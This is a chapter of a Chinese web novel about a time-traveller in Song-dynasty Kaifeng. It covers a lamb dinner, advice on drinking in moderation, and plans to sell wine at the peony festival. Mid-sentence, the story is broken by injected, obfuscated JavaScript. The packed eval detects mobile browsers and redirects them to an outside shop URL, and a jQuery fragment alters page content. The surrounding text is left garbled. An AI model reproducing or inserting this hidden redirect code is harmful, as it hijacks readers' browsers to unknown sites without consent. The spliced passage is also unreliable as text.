见她回来,对方只扬声道:“愣着干嘛,快过来打下手。”
孟清圆松了口气。
孩子借着干活的名义出去嗨皮了一下午才回来,多少有点心虚。
她赶紧凑到灶边,看看能做点什么。
妇人坐在炉子边,正在烤炙荔枝焙腰子。
腰子被切成薄片,上面划着菱纹刀花。
随着炭火的炙烤微微卷曲,就像荔枝的形状。
灶台边则摆着一整条还没处理的生羊腿。
这么一条生羊腿价格可不便宜,看来伙食不错呀。
孟清圆为自己日后的伙食点了个赞。
“喝酒了?”
妇人一边转动着炙炉的架子,确保腰子受热均匀,一边问,语气里听不出喜怒。
孟清圆食指对戳,小心应道:“就……喝了一丢丢。”
妇人却没揪着这个话题不放,反而指了指旁边的羊腿。
“去把那羊腿收拾了,拣肉多的地方片厚片。
拿刀仔细着,别切着手了,不然还得送你上医馆。”
“没问题,包我身上。”
孟清圆连忙应下。
因着原主厨艺不咋地,她特意没将肉片的太好。
反而每一刀肉都片的歪七扭八,薄厚不均。
妇人也不介意,伸手挑出些片厚、肉质紧实的,都丢进旁边的砂锅子里。
又加了葱姜花椒和杏仁,配清水慢慢炖。
剩下的碎肉和羊腿上剔下来的边角料,她都扔进一碗玫瑰露酒里泡着。
随后也架在炭火上炙烤。
孟清圆发现,妇人虽然厨艺不见的多精湛,但做出来的东西,就是格外有滋味儿。
像是现在,随着炭火的热力慢慢渗透,玫瑰露酒的甜香混合着羊肉的鲜香渐渐弥漫开。
她只觉得自己晚翠上身了:“肚肚饿饿。”
妇人听着这一连串的叠词,鸡皮疙瘩差点撒一地。
她赶紧拣了两片已经烤好的羊肉,撒了点细盐和小茴香,就塞进孟清圆嘴里。
“饿就吃,说什么饿饿,怪腻歪人的。”
孟清圆见她搓着手臂,反而促狭起来。
“肚肚还是饿饿~”
“停停停,小祖宗哟,马上就开饭,摆碗筷去。”
目的达成,孟清圆美滋滋去收拾桌子。
妇人这边把肉都烤好,砂锅子里的羊肉也炖的差不多了。
揭开锅盖,一股浓郁的肉香扑面而来。
汤色奶白,里面的杏仁已经炖的几乎化进汤里。
山煮羊、荔枝焙腰子,炙羊肉,菜色虽不多,但架不住量大。
尤其是那砂锅,足有孟清圆的头大,摆在桌上相当壮观。
妇人擦了擦手,吩咐道:“阿圆,去拿一坛蓝桥风月来。
今日这菜啊,得配好酒。”
孟清圆咂舌,酒蒙子啊?
顿顿要喝酒,这算不算是吃饭不喝酒,香味少一口?
两人开饭,妇人给孟清圆也倒了一碗。
她内心腹诽:中午不是说长身体的时候喝酒不长个儿吗,这怎么又主动倒上了?
妇人一边往碗里加了块炖得软烂的羊肉,一边碎碎念。
“你既喜欢喝酒,为娘便跟你说说这喝酒的学问。”
孟清圆往嘴里大口扒拉淋了羊汤汁子的饭,做洗耳恭听状。
这羊汤醇厚,泡着香梗米炊饭,一口下去暖乎乎,吃起来是真的爽。
“这宫里喝酒,最是讲究排场,爱用那些个金银器。
什么金盏银注子,喝的是个身份权力。
文人士族多爱用天青釉杯,配着诗词歌赋,喝的是个风雅意境。
而咱们市井老百姓,就没那么多讲究。
粗陶碗使得,竹杯也使得。
只要酒好、菜香、吃的自在,就比什么都强。”
妇人闭上眼睛慢慢呷了一口酒,语气慢悠悠的,果然看上去十分自在享受。
孟清圆细想,这话说得还真是没毛病。
虽然她没见识过,但古装的电视剧却没少看。
里面演的,就跟妇人说的差不多。
她听得认真,却也不耽误炫饭,筷子十分从心又夹了一块荔枝焙腰子。
腰子是新鲜的猪腰,已经去掉了腰筋和腰皮,只留中间最嫩的一块。
从中间片开烤得外焦里嫩,小茴香和胡椒的香气完全渗了进去,一点腥膻味儿都没有。
“还有啊,咱们宋人喝酒,跟那些外邦人不同。
他们喝酒,那是牛嚼牡丹,甭管好赖都往肚子里灌,只求个酩酊大醉。
可咱们喝酒,讲究个有度,酒过伤身,所以不可过量。
空腹饮酒伤身,需得配着菜吃,也不可强劝人喝酒。
愿意喝便喝,不愿喝也不可逼迫。”
妇人放下酒碗,慢慢的呼出一口气,眼神明亮。
“这喝酒的本意,是为了惬意自在。
要是喝的不痛快,反倒成了累赘,那又何必喝呢?”
想起后世那些不得不参加的酒局和喝酒的陋习,孟清圆觉得妇人说的简直太有道理了。
就该让那些个爱灌人酒的臭男人们都来听一听,学一学。
于是孟清圆举杯跟妇人碰了一下。
一口蓝桥风月下肚,清甜的酒香混杂着羊肉的鲜香,果然比单纯喝酒更有滋味。
就着妇人的“酒经”,两人这顿饭足足吃了一个时辰。
到最后,砂锅里的山煮羊见了底,炙羊肉和焙腰子也吃得干干净净。
第二天醒来时,孟清圆却神清气爽,完全不见宿醉的难受。
妇人已经早早起床,挽起发髻在前面张罗着沽酒。
上午是酒寮客人最多的时候,大多是附近铺面的伙计,挑担的小贩,以及买回家给阿爹和阿兄的小娘子。
孟清圆洗漱出来,赶紧帮着招呼一波又一波的客人。
直到午时左右人才渐渐少下来,出去送货的阿福也赶了回来。
中午的饭菜简单却很扎实,一锅青菜豆腐汤,一盘酱萝卜,就着肉酱索面,三人吃的格外香。
“我方才去送货,看到朱雀门那边,好多花铺子已经将牡丹花都摆出来了,好不漂亮!”
阿福大口吞着索面,跟两人分享。
妇人一拍脑门,“这天天忙得,差点把这事儿给忘了。
今年的牡丹花期定的二十几?”
阿福把嘴里的东西咽下去才回答:“二十三。
今年天回暖的晚,所以比往年推迟了几天。
我听福昌楼的五谷说,他们从后日开始就要推出牡丹宴了。”
宋朝的牡丹花期是大节。
届时,全城的花匠都会把自己最得意的牡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165318|196684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丹拿出来售卖、展示。
数量多到能把朱雀门外都变成牡丹花海,一点望不到头那种。
那些酒楼正店更是会跟风推出牡丹花宴。
从冷盘到热炒,甚至点心饮品,全都是用牡丹花做的。
好不好吃另说,样子绝对是足够美,每一款发到朋友圈都能收获99+赞的那种。
更难得的是,连皇家御园琼林苑和金明池倒是也会对普通民众开放。
这事儿现代人听了可能没什么感觉,搁在宋朝,绝对是堪比过年的大庆典。
这就好比慈禧在位时竟然对外开放颐和园,还是免门票的那种,你就说你激不激动?想不想去凑个份子?
“牡丹宴?”提到这个,孟清圆瞬间来了精神。“好吃不?”
阿福摇头,“那却是不知道了,我没吃过。”
他憨憨的笑,“不过我听五谷说,往年樊楼、忻乐楼、铁薛楼、高阳正店的牡丹花宴都是下大力气琢磨的。
一顿顶级牡丹宴足足要价30贯!
那些个大师傅,就等着这机会把其他家比下去呢。
哦对了,五谷还说了,他们福昌楼今年的席面,是张大厨做的。
据说从年后就开始琢磨,致力于跟樊楼打擂台呢。”
30贯?孟清圆倒吸一口凉气。
以她对北宋汇率的了解,30贯就相当于后世一万八千元。
一万八啊,在北京钓鱼台国宾馆吃一顿饭也要不了这么多吧?
孟清圆咂吧嘴,用期待的眼神看向妇人:“牡丹花宴啊,要不咱们……”
妇人头也不抬,“想去?”
孟清圆和阿福都猛点头,动作非常一致。
一万八的席面,谁不想吃?谁不想吃!
“想去也行,今年咱们也去金明池边上摆摊。
要是能卖出去一百坛子姚黄露,我就请你俩去吃一顿福昌楼的顶级牡丹花宴。”
“哦耶!”
“好诶!”
两人同时欢呼,压根没觉得卖出去一百坛酒是多难的一件事。
笑话,他们清风酒寮,那也是坊间出了名的。
尤其是蓝桥风月,喝过的谁不说好?
姚黄露孟清圆虽然没喝过,但阿福喝过啊,看他这胸有成竹的样子,孟清圆还担心什么?
“阿圆去年没看到,那些在金明池打马球的公子哥儿和小娘子们,都骑在马上,挥杆击球,别提多威风了!
月陂堤、张家园、长寿寺东街更是挤成了各种花海,夜间千灯闪烁,特别好看!
还有啊,据说墨池那边还会开万花会,不管是谁,只要去了,就能获赠一朵魏紫,簪在头上可好看了……”
阿福唾沫横飞,也不知是不是因为今年能吃到福昌楼的牡丹花宴,情绪那叫一个高涨。
一顿饭的功夫,简直把牡丹花期的盛景吹得天上有地下无的,说的孟清圆那叫一个心痒难耐。
“那咱们什么时候去金明池边摆摊啊?”
她已经迫不及待了属实是。
“那当然是二十三就去啦!到时候咱们早早就去,准能占个好位置!”
阿福叮嘱孟清圆,“阿圆,到时候你可不能赖床啊。”
“不赖不赖!”孟清圆拍胸脯,“我办事你放心!”
开玩笑,只要能吃到牡丹花宴,起不来床什么的,她一准能克服。